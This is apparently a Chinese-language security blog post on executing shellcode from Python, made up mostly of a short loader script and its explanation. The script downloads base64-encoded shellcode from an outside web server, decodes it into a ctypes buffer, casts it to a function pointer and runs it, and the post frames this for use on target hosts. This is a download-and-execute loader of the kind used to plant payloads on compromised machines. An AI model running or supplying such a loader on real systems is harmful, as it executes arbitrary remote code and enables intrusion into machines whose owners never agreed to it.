MENU

Python方式的shellcode执行

September 5, 2016 • Security

前言

有时候,你可能需要与你目标机器中的某一台主机进行交互,或者在目标主机上运行某个新漏洞的利用模块。这样的需求虽然不常有,但非常经典,需要我们具备在目标机器上执行shellcode的方法。为了执行原生的二进制shellcode,我们只需要在内存中申请缓冲区,然后利用ctyoes模块创建指向这片内存的函数指针,最后调用这个函数指针。

实现

这里我们利用urllib2模块从web服务器上下载base64编码的shellcode然后执行。

代码如下:

import urllib2
import ctypes
import base64

# 从我们的web服务器上下载shellcode
url = "http://rinige.com/shellcode.bin"
response = urllib2.urlopen(url)
# base64 解码 shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建 shellcode 的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬
(ctypes.c_void_p))
# 执行 shellcode
shellcode_func()

原理?

这里我们从web服务器上下载了base64编码的shellcode url = "http://rinige.com/shellcode.bin" 然后申请了一个缓冲区 shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 来保存解密后的shellcode,ctypes模块的cast函数允许我们在shellcode的缓冲区内存空间中建立函数指针 shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬ (ctypes.c_void_p)) 这样我们就能像调用普通的Python函数那样调用我们的shellcode了。在代码的结尾,我们调用了函数指针,由此执行 shellcode shellcode_func()

Archives QR Code
QR Code for this page
Tipping QR Code